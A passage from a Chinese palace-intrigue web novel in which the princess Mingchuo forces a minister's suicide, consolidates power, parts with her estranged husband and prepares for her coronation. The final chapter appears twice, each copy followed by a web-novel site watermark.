明绰歪了歪头,只觉得好笑:“那不如直接去洛阳接萧俭回来好了,反正‘北萧’与‘南萧’也算是同宗呢。”
那人一下子不敢说话了,低了头,连连告罪。
明绰不笑了:“大雍历五代先王,有谁是不立好太子就不能即位的吗?”
没有人敢回答她。
桓廊摇了摇头,撑着自己的膝盖,还是大逆不道地指着她:“我宁可死,也不会……”
他的话还没说完,殿外便传来了异样的动静。那是将士身上的甲胄相击的响动。桓廊的脸突然一亮,猛地转过身去。如果来的是桓湛,那说明此事已经用武力解决了。
桓廊提高了声音:“湛儿——”
然而来的是崔挺和袁氏兄弟。
桓廊的脸色迅速地灰败了下去。三人都停在殿外,虽然事出非常,但还是极有规矩地解剑卸甲。明绰没耐心再等,扬声道:“进来!”
三人的动作一滞,彼此对视了一眼,都快步进了殿中。崔挺的视线迅速地在明绰和萧秧身上一过,终于作出了自己的选择。他上前一步,跪在了明绰面前。
“陛下,”崔挺从怀中掏出一块兵符,“这是桓湛交上来的兵符。”
只听“咚”一声,桓廊退了几步,跌坐在地。
明绰快速地在袁煦和袁綦身上过了一眼,他们俩的甲穿得好好的,没有打斗过的狼狈痕迹,看来并没有真的动手。她伸出手,将那片兵符握在手中,低声问了一句:“那桓湛……”
“桓湛已卸甲解剑,在殿外向陛下请罪。”袁煦知道她要问什么,主动回答完,顿了顿,又压低了声音,“宜华也在外面。”
明绰马上什么都明白了。
“武灵侯起来吧。”明绰神色淡淡地,重新看定了桓廊,“令君方才说到哪儿了?”
桓廊颓然地坐在那里,闭上了眼睛,绝望地落下了一行泪。但明绰没有要放过他的意思,又往前了一步:“令君说,宁可死……?”
她经过了袁綦身边,顺手伸到了他腰间,抽|出了他的佩剑,“当啷”一声,丢在了桓廊脚边。
桓廊抬起头,看着她,下唇剧烈地颤了颤,一个字也没有说出来。
军权,人心,遗诏,她什么都不缺了。明绰什么都不用说,就已经把意思表达得清清楚楚,桓廊若自尽,看在桓湛迷途知返的份上,她不会追究桓氏。但他若不知趣,那矫诏圣意、拥兵谋反的罪名,就要好好算一算了。
他们家,是开国的功勋,世代的忠良。多少年的风风雨雨,他们从来没有起过异心。桓殷当年就说过了,桓氏,绝不出逆贼。
桓廊的手颤抖着,握起了那把剑。明绰站得太近了,袁綦心里一紧,想上前一步相护,但是桓廊只是把剑横到了自己的脖子上。
他看着明绰:“我都是为了大雍。”
这就是他最后的话,然后他毫不犹豫地抹了脖子。周围顿时传来了惊呼,桓廊的手一松,长剑重新“当啷”一声坠落在地,鲜血慢半拍地从他腔子里激射出来,溅了明绰半身,但她动也没动,只是漠然地看了一眼被弄脏的衣角。
一片短暂的静默。然后,不知道是谁,高呼了一声:“吾皇万岁!”
所有人都跪了下去,万岁之声此起彼伏,盖过了桓廊的身体倒地的一声闷响。他的眼睛依然睁得很大,在一个新的时代被娩出的血泊里,和他所坚守的旧世道一起死不瞑目地咽了气。第190章 大行皇帝在第二天早上被移进了太极殿的棺椁之中,百官临殿而哭,依制守丧。新旧朝交替,往往大赦减刑,但萧盈临终前亲口说过了“不赦”,于是明绰在颁布昭告天下的诏命之前就雷厉风行地解决了谢氏,连谢聿都被从原籍地召回杀头,半点都没有顾及亲情。
她唯独放过了废后,没有再另外治她的罪。谢星娥足足挣扎了十日之久,才在痛苦中撒手人寰。明绰亲自去看了她一次,她的舌头和喉管都已经完全被烫毁,死前什么都说不出来了,只能用手指蘸着水,在桌上写下女儿的名字。但是明绰只是沉默着摇了摇头,没有允许崇安公主去看她。
她并非有意对谢星娥如此残忍。可是萧玉襄已经有了太多一生都做不完的噩梦,她不需要再亲眼看见母亲这样的惨状了。
大行皇帝停灵七日,宫中才颁发了诏书,昭告天下女主临世,不出意外地得到了无数反对的声音,明绰不得不推迟了登基的仪典,暂时还是以镇国长公主的名义监国。
建康尽在明绰的掌控之中,但仅仅一个月里,光是建康周边的叛乱就出了三起。都不是什么处心积虑、声势浩大的谋反,不过是振臂一呼,不服牝鸡司晨,就能掀起一波声浪。明绰就知道,更远一点的地方不是服了,而是消息还没来得及传来。
萧盈驾崩以后整整三个月,执金吾卫频繁外调,四处平叛。建康朝中也新设了“掌密司”,把明绰的眼睛和耳朵伸到了每位朝臣的床头和桌底,一时大兴告密与罗织之风,凡有异心者,皆重判重罚,朝野内外杀得人头滚滚。
姜川献了一策,命人编纂出一套新的《法云经》,宣称有一位“圣母神君”女佛陀,要降世救民,让云游的僧人和比丘尼到处地在民间宣讲。
但还是不够。大行皇帝入陵那天,镇国长公主在先帝的山陵前痛哭,坚持要把皇位还给平阳王,平阳王固辞不受。到六月,滇南属国不服女主,爆发了叛乱,镇国长公主只好再演一遍。可是不到一个月,太学中又有士人在平阳王府前结队集会,要求他站出来“匡扶朝纲”,萧秧进宫,跟姑母演满了“三推三让”的戏码,终于忍无可忍地上书,自请外放封地。
敬漪澜此时已回了宫。原本她出宫就是为了宋询,但宋询已被袁增牵连处斩,长公主一并取缔了宋广义的丰喜县侯爵位,将他流放。王勤倒还是个厚道的,做主把孙女儿接了回去,不要她为宋询守寡。明绰知道当日萧秧能够在关键的时候拥立她,其实都是敬漪澜的意思,就希望她能够回来帮她。如今敬漪澜领着女官的职位,和阴青蘅一左一右,近身辅佐。
很显然,自请之国是萧秧自己的意思。敬漪澜知道了,沉默良久,也只说了一句话:“他是该长大了。”
萧秧已经成了家,但事事都需要母亲来做主,其实也不太好。
她舍得,桓宜华却舍不得。为此,她还跟明绰和敬漪澜闹了一通脾气。可是形势摆在眼前,袁韶音也去劝母亲,平阳王一日不走,长公主就一日不方便登基。难道真要等到情分被消磨干净的那一天吗?劝到后来,桓宜华也只能含泪答应。
萧秧的封地本来应该是在平阳,但平阳如今在大燕境内,南朝仍旧以此地来分封,不过是因为还陷在前朝一统的旧梦里,自欺欺人罢了。而且当初就是因为明绰为萧秧争取,说要留他在建康养一辈子,萧盈才选了这么个去不了的封地。如今明绰只好重新给萧秧划了块最富庶的地,把会稽的万户食邑都给了他,好让他跟袁韶音两个人能去到一个山清水秀的鱼米之乡,舒舒服服地过日子。
送萧秧离开的时候,正好也是洛阳的使臣进建康的那一天。
原本怎么都不肯让舅舅占了便宜,勒紧裤腰带都要把军费还上,以维持两国平等邦交的乌兰晔态度急转,不仅承认了母亲大雍皇帝的地位,还主动低了一头,说大雍是“父母之国”,主动送上贡礼无数,还随使团送来了乌兰亲贵少年十七人,要他们“受天朝教化”,甚至表达了他准备改汉姓的意愿。
乌兰晔长到快十七岁了,这封信是态度最好的。明绰从头到尾地读了两遍,也就是笑了笑,然后递给了袁綦。
“他希望你去洛阳做使臣呢。”
袁綦皱着眉头,手里攥着信,一目十行地过了一遍,一脸的莫名其妙。
不错,上次出使洛阳的人是他,但乌兰晔当年根本不肯见他,做什么现在指名道姓要他去派驻洛阳?
明绰轻轻歪了歪头,唇边含着笑:“不明白?”
袁綦抬起头,他确实不明白。
明绰:“他是怕我跟你再生个孩子,日后把江山给了别人,那他这番心血不就白费了?”
袁綦的眉毛高高一挑,一时竟也不知道说什么好。
在这一切发生之前,他都已经准备动身去益州了。那个时候,他和明绰之间就已经很难再谈什么夫妻。在最后的时刻,他和阿兄作出了选择,还是站在了明绰身边,明绰也没有亏待他们。袁煦如今已经带兵前去滇南平叛,明绰记着萧盈的话,鼓励寒门子弟靠军功晋升。袁氏依然享有军权和荣耀,但他已经无法再自认是她的丈夫了。
她是天下的至尊,她只有臣子,没有丈夫。
萧盈走了以后,明绰召他入过宫。袁綦无法否认他们还会有孩子的可能性,但他感觉很别扭,那是一种无法自处的茫然。他不是她的丈夫,那他又是什么?“嫔妃”吗?他倒确实有这种感觉,要等萧盈不在了,她才会想起他,他也没有拒绝的余地。
乌兰晔还是不懂。即使把袁綦调开了,明绰还是可以有别人。她如果要有孩子,孩子的父亲根本不重要,那就是她的孩子。
当日在含清宫,很多人希望长公主作出一个承诺,日后不能让乌兰晔即位。明绰没答应,因为这种条件就是不公平,她一步都不会退让。但袁綦知道,她其实也没想过要把这巍巍江山留给乌兰晔。
当年从洛阳转身离开的时候,母子的情分就已经到头了。如今大燕天子带头表态,对周边的各个小国都是很强力的震慑,也确实抚平了南朝内部很多反对的声音,长公主的登基大典总算是顺当地提上了日程——勉强算他有几分孝心吧。
但明绰心里跟明镜儿似的,他说到底是为了他自己。
袁綦低头又看了一遍信里的内容,突然轻声道:“臣愿往洛阳。”
这倒是明绰没有想到的。她微微正色,在榻上坐直了,看着他。
袁綦把信还给她:“胡汉之争一直是北朝的大忌,他突然把十七名亲贵子弟都送来建康,还说要改汉姓,恐怕已经动摇了人心。如此冒进,必有祸端。荆州毕竟离洛阳近,我手脚也伸得开。有我去替你看着他,你也好放心。”
情分尽了是一回事,为人父母,总还是不舍得他真出什么事的。
明绰眼中一动:“仲宁……”
她站了起来,伸出手,似是想在他颊边抚一抚。但是袁綦退了一步,姿态恭敬地低下了头。明绰的手尴尬地停在了离他一寸的地方,片刻,又失落地放了下来。
“好。”明绰轻声道,“多谢你。”
袁綦暗自咬了咬牙,其实他有些后悔这一退,可是退都已经退了,来不及了。
“那臣即日便启程。”
明绰看着他:“不等大典之后了吗?”
袁綦抿了抿嘴,斟酌了片刻,然后露出了一个轻浅的笑意。
“臣会在洛阳遥贺陛下……”他的眉眼弯起来,温柔地看着她,“身登大宝,福寿无极。”
他向明绰行了一
个君臣之礼,然后转过身,走出了上阳宫。明绰突然意识到,过去了这么多年,他竟是在此刻最像当日在南阳送她离开的那一天。她为了那个已经不复存在的少年郎给了他无穷无尽的磋磨,却最终在他转身的时候,发现当年那个人其实还在。
明绰在原地站了一会儿,直到袁綦的背影最终走出上阳宫,看不见了,才自嘲似的轻笑了一声。
原来这一次,轮到她看着他的背影了。
新帝的登基大典最终定在了十月。朝野内外的反抗情绪好不容易平复了下来,明绰不想太过高调。为了强调她得位之正,没有专门再做新的天子衮服,反而去含清宫翻萧盈的旧衣。敬漪澜陪着她,正好把萧盈的遗物都整理了一遍。
明绰大概估算了一下,觉得萧盈十五岁以前的衮服,她现在穿应该是合适的。可是那些衣服也都久不见天日了,谁也说不出来哪件是什么时候的,她和敬漪澜两个只好一件一件地拿出来晒,看着新旧的程度,往明绰身上比划。
唯独冕冠是没有大小的,萧盈一直戴的也是怀帝传下来的那个。明绰坐在镜前,让敬漪澜给她往头上戴——可她不想梳男子的发式,正跟敬漪澜琢磨着,最好专门设计一个新的发髻式样出来。
另一头,阴青蘅带着两个宫人,把所有的玉器都翻了出来。登基大典要穿戴的服饰是最繁琐的,萧盈几年也都穿不到一次,所以那些玉器很少拿出来,有不少上面穿的绳都已经烂了,阴青蘅摆弄得直发愁——这要不是礼官,谁知道是个什么次序?
“这怎么还有块玉圭?”阴青蘅举起一块带着裂口的玉圭,满脸的困惑。玉圭是祭祀的时候才用的礼器,一般是太常寺保管,不是随身佩的东西,“还是断的……”
明绰闻声转过头,一眼认了出来。
“这是我摔的。”她笑了笑,接过来,放到阳光下看。
“是景平七年那场大旱。”明绰想起来了,“太父要天子社坛祈雨,偏偏他又病了……”
设坛祈雨,那一站就是一整天,明绰当时被晒得头晕眼花,想着萧盈肯定好好地在含清宫乘着凉呢,心里就恨得牙痒痒。
“从祭坛上下来的时候脚下滑了嘛。”明绰跟敬漪澜笑,“你都不知道摔得多惨,母后还不许我哭,要我赶紧藏起来,说不是好兆头……”
敬漪澜问她:“那后来下雨了吗?”
这个明绰倒是真的不记得了,她皱了皱脸,只记得后面的事情了:“就是连累他被太父好一顿教训。”
祭祀的礼器摔断了是大事,谢郯哪知道站在高台上的是谁,一并上升到了“天子失德、触怒上天”,罚萧盈去太庙跪着,只许夜间才进一碗米粥,求上天谅解,赶紧下雨。
“应该还是下了吧。”明绰回忆了一下,萧盈只跪了三天就回来了。她也不知道这玉圭怎么会在萧盈这里,藏了这么多年,上面的断痕几乎还和新的一样。明绰的手指拂过去,感到回忆粗糙地抵在了她的指尖。
“我小时候最讨厌替他上朝。”她笑了笑,一低头,冕旒前面坠着的玉藻就又“哗啦啦”响着,挡住了面前的视线,明绰只好伸手拨开,又道,“就是最不喜欢这个,麻烦死了……”
那时候她在皇位上根本坐不住,又听不懂底下说在说什么,就总动来动去,不是剥皇位上的金漆,就是琢磨冕服上的线头。她一动,玉藻就响,那就露馅了,因为萧盈很乖,一直都坐得住。后来长大了一点儿,能听懂下面说什么了,她又好奇,玉藻坠着,她看不见,就想伸手拨,一伸手,母后就从身后的帘子里咳一声。
她跟敬漪澜这么说着,眼前的玉藻就又晃啊晃,她好像又看见许多人站在阶下,手持朝笏,依稀有太父的样子。明绰突然停了下来,想拨开眼前的障目的玉藻,却听身后传来了一声轻咳。
“陛下,坐好。”
她又听见了母后的声音。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
【终章】
第190章
大行皇帝在第二天早上被移进了太极殿的棺椁之中,百官临殿而哭,依制守丧。新旧朝交替,往往大赦减刑,但萧盈临终前亲口说过了“不赦”,于是明绰在颁布昭告天下的诏命之前就雷厉风行地解决了谢氏,连谢聿都被从原籍地召回杀头,半点都没有顾及亲情。
她唯独放过了废后,没有再另外治她的罪。谢星娥足足挣扎了十日之久,才在痛苦中撒手人寰。明绰亲自去看了她一次,她的舌头和喉管都已经完全被烫毁,死前什么都说不出来了,只能用手指蘸着水,在桌上写下女儿的名字。但是明绰只是沉默着摇了摇头,没有允许崇安公主去看她。
她并非有意对谢星娥如此残忍。可是萧玉襄已经有了太多一生都做不完的噩梦,她不需要再亲眼看见母亲这样的惨状了。
大行皇帝停灵七日,宫中才颁发了诏书,昭告天下女主临世,不出意外地得到了无数反对的声音,明绰不得不推迟了登基的仪典,暂时还是以镇国长公主的名义监国。
建康尽在明绰的掌控之中,但仅仅一个月里,光是建康周边的叛乱就出了三起。都不是什么处心积虑、声势浩大的谋反,不过是振臂一呼,不服牝鸡司晨,就能掀起一波声浪。明绰就知道,更远一点的地方不是服了,而是消息还没来得及传来。
萧盈驾崩以后整整三个月,执金吾卫频繁外调,四处平叛。建康朝中也新设了“掌密司”,把明绰的眼睛和耳朵伸到了每位朝臣的床头和桌底,一时大兴告密与罗织之风,凡有异心者,皆重判重罚,朝野内外杀得人头滚滚。
姜川献了一策,命人编纂出一套新的《法云经》,宣称有一位“圣母神君”女佛陀,要降世救民,让云游的僧人和比丘尼到处地在民间宣讲。
但还是不够。大行皇帝入陵那天,镇国长公主在先帝的山陵前痛哭,坚持要把皇位还给平阳王,平阳王固辞不受。到六月,滇南属国不服女主,爆发了叛乱,镇国长公主只好再演一遍。可是不到一个月,太学中又有士人在平阳王府前结队集会,要求他站出来“匡扶朝纲”,萧秧进宫,跟姑母演满了“三推三让”的戏码,终于忍无可忍地上书,自请外放封地。
敬漪澜此时已回了宫。原本她出宫就是为了宋询,但宋询已被袁增牵连处斩,长公主一并取缔了宋广义的丰喜县侯爵位,将他流放。王勤倒还是个厚道的,做主把孙女儿接了回去,不要她为宋询守寡。明绰知道当日萧秧能够在关键的时候拥立她,其实都是敬漪澜的意思,就希望她能够回来帮她。如今敬漪澜领着女官的职位,和阴青蘅一左一右,近身辅佐。
很显然,自请之国是萧秧自己的意思。敬漪澜知道了,沉默良久,也只说了一句话:“他是该长大了。”
萧秧已经成了家,但事事都需要母亲来做主,其实也不太好。
她舍得,桓宜华却舍不得。为此,她还跟明绰和敬漪澜闹了一通脾气。可是形势摆在眼前,袁韶音也去劝母亲,平阳王一日不走,长公主就一日不方便登基。难道真要等到情分被消磨干净的那一天吗?劝到后来,桓宜华也只能含泪答应。
萧秧的封地本来应该是在平阳,但平阳如今在大燕境内,南朝仍旧以此地来分封,不过是因为还陷在前朝一统的旧梦里,自欺欺人罢了。而且当初就是因为明绰为萧秧争取,说要留他在建康养一辈子,萧盈才选了这么个去不了的封地。如今明绰只好重新给萧秧划了块最富庶的地,把会稽的万户食邑都给了他,好让他跟袁韶音两个人能去到一个山清水秀的鱼米之乡,舒舒服服地过日子。
送萧秧离开的时候,正好也是洛阳的使臣进建康的那一天。
原本怎么都不肯让舅舅占了便宜,勒紧裤腰带都要把军费还上,以维持两国平等邦交的乌兰晔态度急转,不仅承认了母亲大雍皇帝的地位,还主动低了一头,说大雍是“父母之国”,主动送上贡礼无数,还随使团送来了乌兰亲贵少年十七人,要他们“受天朝教化”,甚至表达了他准备改汉姓的意愿。
乌兰晔长到快十七岁了,这封信是态度最好的。明绰从头到尾地读了两遍,也就是笑了笑,然后递给了袁綦。
“他希望你去洛阳做使臣呢。”
袁綦皱着眉头,手里攥着信,一目十行地过了一遍,一脸的莫名其妙。
不错,上次出使洛阳的人是他,但乌兰晔当年根本不肯见他,做什么现在指名道姓要他去派驻洛阳?
明绰轻轻歪了歪头,唇边含着笑:“不明白?”
袁綦抬起头,他确实不明白。
明绰:“他是怕我跟你再生个孩子,日后把江山给了别人,那他这番心血不就白费了?”
袁綦的眉毛高高一挑,一时竟也不知道说什么好。
在这一切发生之前,他都已经准备动身去益州了。那个时候,他和明绰之间就已经很难再谈什么夫妻。在最后的时刻,他和阿兄作出了选择,还是站在了明绰身边,明绰也没有亏待他们。袁煦如今已经带兵前去滇南平叛,明绰记着萧盈的话,鼓励寒门子弟靠军功晋升。袁氏依然享有军权和荣耀,但他已经无法再自认是她的丈夫了。
她是天下的至尊,她只有臣子,没有丈夫。
萧盈走了以后,明绰召他入过宫。袁綦无法否认他们还会有孩子的可能性,但他感觉很别扭,那是一种无法自处的茫然。他不是她的丈夫,那他又是什么?“嫔妃”吗?他倒确实有这种感觉,要等萧盈不在了,她才会想起他,他也没有拒绝的余地。
乌兰晔还是不懂。即使把袁綦调开了,明绰还是可以有别人。她如果要有孩子,孩子的父亲根本不重要,那就是她的孩子。
当日在含清宫,很多人希望长公主作出一个承诺,日后不能让乌兰晔即位。明绰没答应,因为这种条件就是不公平,她一步都不会退让。但袁綦知道,她其实也没想过要把这巍巍江山留给乌兰晔。
当年从洛阳转身离开的时候,母子的情分就已经到头了。如今大燕天子带头表态,对周边的各个小国都是很强力的震慑,也确实抚平了南朝内部很多反对的声音,长公主的登基大典总算是顺当地提上了日程——勉强算他有几分孝心吧。
但明绰心里跟明镜儿似的,他说到底是为了他自己。
袁綦低头又看了一遍信里的内容,突然轻声道:“臣愿往洛阳。”
这倒是明绰没有想到的。她微微正色,在榻上坐直了,看着他。
袁綦把信还给她:“胡汉之争一直是北朝的大忌,他突然把十七名亲贵子弟都送来建康,还说要改汉姓,恐怕已经动摇了人心。如此冒进,必有祸端。荆州毕竟离洛阳近,我手脚也伸得开。有我去替你看着他,你也好放心。”
情分尽了是一回事,为人父母,总还是不舍得他真出什么事的。
明绰眼中一动:“仲宁……”
她站了起来,伸出手,似是想在他颊边抚一抚。但是袁綦退了一步,姿态恭敬地低下了头。明绰的手尴尬地停在了离他一寸的地方,片刻,又失落地放了下来。
“好。”明绰轻声道,“多谢你。”
袁綦暗自咬了咬牙,其实他有些后悔这一退,可是退都已经退了,来不及了。
“那臣即日便启程。”
明绰看着他:“不等大典之后了吗?”
袁綦抿了抿嘴,斟酌了片刻,然后露出了一个轻浅的笑意。
“臣会在洛阳遥贺陛下……”他的眉眼弯起来,温柔地看着她,“身登大宝,福寿无极。”
他向明绰行了一
个君臣之礼,然后转过身,走出了上阳宫。明绰突然意识到,过去了这么多年,他竟是在此刻最像当日在南阳送她离开的那一天。她为了那个已经不复存在的少年郎给了他无穷无尽的磋磨,却最终在他转身的时候,发现当年那个人其实还在。
明绰在原地站了一会儿,直到袁綦的背影最终走出上阳宫,看不见了,才自嘲似的轻笑了一声。
原来这一次,轮到她看着他的背影了。
新帝的登基大典最终定在了十月。朝野内外的反抗情绪好不容易平复了下来,明绰不想太过高调。为了强调她得位之正,没有专门再做新的天子衮服,反而去含清宫翻萧盈的旧衣。敬漪澜陪着她,正好把萧盈的遗物都整理了一遍。
明绰大概估算了一下,觉得萧盈十五岁以前的衮服,她现在穿应该是合适的。可是那些衣服也都久不见天日了,谁也说不出来哪件是什么时候的,她和敬漪澜两个只好一件一件地拿出来晒,看着新旧的程度,往明绰身上比划。
唯独冕冠是没有大小的,萧盈一直戴的也是怀帝传下来的那个。明绰坐在镜前,让敬漪澜给她往头上戴——可她不想梳男子的发式,正跟敬漪澜琢磨着,最好专门设计一个新的发髻式样出来。
另一头,阴青蘅带着两个宫人,把所有的玉器都翻了出来。登基大典要穿戴的服饰是最繁琐的,萧盈几年也都穿不到一次,所以那些玉器很少拿出来,有不少上面穿的绳都已经烂了,阴青蘅摆弄得直发愁——这要不是礼官,谁知道是个什么次序?
“这怎么还有块玉圭?”阴青蘅举起一块带着裂口的玉圭,满脸的困惑。玉圭是祭祀的时候才用的礼器,一般是太常寺保管,不是随身佩的东西,“还是断的……”
明绰闻声转过头,一眼认了出来。
“这是我摔的。”她笑了笑,接过来,放到阳光下看。
“是景平七年那场大旱。”明绰想起来了,“太父要天子社坛祈雨,偏偏他又病了……”
设坛祈雨,那一站就是一整天,明绰当时被晒得头晕眼花,想着萧盈肯定好好地在含清宫乘着凉呢,心里就恨得牙痒痒。
“从祭坛上下来的时候脚下滑了嘛。”明绰跟敬漪澜笑,“你都不知道摔得多惨,母后还不许我哭,要我赶紧藏起来,说不是好兆头……”
敬漪澜问她:“那后来下雨了吗?”
这个明绰倒是真的不记得了,她皱了皱脸,只记得后面的事情了:“就是连累他被太父好一顿教训。”
祭祀的礼器摔断了是大事,谢郯哪知道站在高台上的是谁,一并上升到了“天子失德、触怒上天”,罚萧盈去太庙跪着,只许夜间才进一碗米粥,求上天谅解,赶紧下雨。
“应该还是下了吧。”明绰回忆了一下,萧盈只跪了三天就回来了。她也不知道这玉圭怎么会在萧盈这里,藏了这么多年,上面的断痕几乎还和新的一样。明绰的手指拂过去,感到回忆粗糙地抵在了她的指尖。
“我小时候最讨厌替他上朝。”她笑了笑,一低头,冕旒前面坠着的玉藻就又“哗啦啦”响着,挡住了面前的视线,明绰只好伸手拨开,又道,“就是最不喜欢这个,麻烦死了……”
那时候她在皇位上根本坐不住,又听不懂底下说在说什么,就总动来动去,不是剥皇位上的金漆,就是琢磨冕服上的线头。她一动,玉藻就响,那就露馅了,因为萧盈很乖,一直都坐得住。后来长大了一点儿,能听懂下面说什么了,她又好奇,玉藻坠着,她看不见,就想伸手拨,一伸手,母后就从身后的帘子里咳一声。
她跟敬漪澜这么说着,眼前的玉藻就又晃啊晃,她好像又看见许多人站在阶下,手持朝笏,依稀有太父的样子。明绰突然停了下来,想拨开眼前的障目的玉藻,却听身后传来了一声轻咳。
“陛下,坐好。”
她又听见了母后的声音。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m